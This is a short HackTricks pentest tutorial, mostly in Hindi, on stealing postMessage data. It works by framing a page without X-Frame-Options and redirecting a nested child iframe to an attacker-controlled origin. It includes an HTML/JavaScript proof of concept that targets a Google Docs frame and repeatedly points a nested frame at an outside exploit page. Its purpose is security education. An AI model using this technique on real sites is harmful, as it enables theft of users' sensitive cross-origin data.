Steal postmessage modifying iframe location

Reading time: 2 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Changing child iframes locations

According to this writeup, यदि आप बिना X-Frame-Header के एक वेबपेज को iframe कर सकते हैं जिसमें एक और iframe है, तो आप उस बच्चे iframe का स्थान बदल सकते हैं

उदाहरण के लिए, यदि abc.com में efg.com iframe है और abc.com में X-Frame header नहीं है, तो मैं efg.com को evil.com क्रॉस ओरिजिन में बदल सकता हूँ, frames.location का उपयोग करके।

यह विशेष रूप से postMessages में उपयोगी है क्योंकि यदि एक पृष्ठ संवेदनशील डेटा भेज रहा है जो wildcard का उपयोग कर रहा है जैसे windowRef.postmessage("","*"), तो हमलावर के नियंत्रित स्थान पर संबंधित iframe (बच्चा या माता-पिता) का स्थान बदलना संभव है और उस डेटा को चुराना।

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)

function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें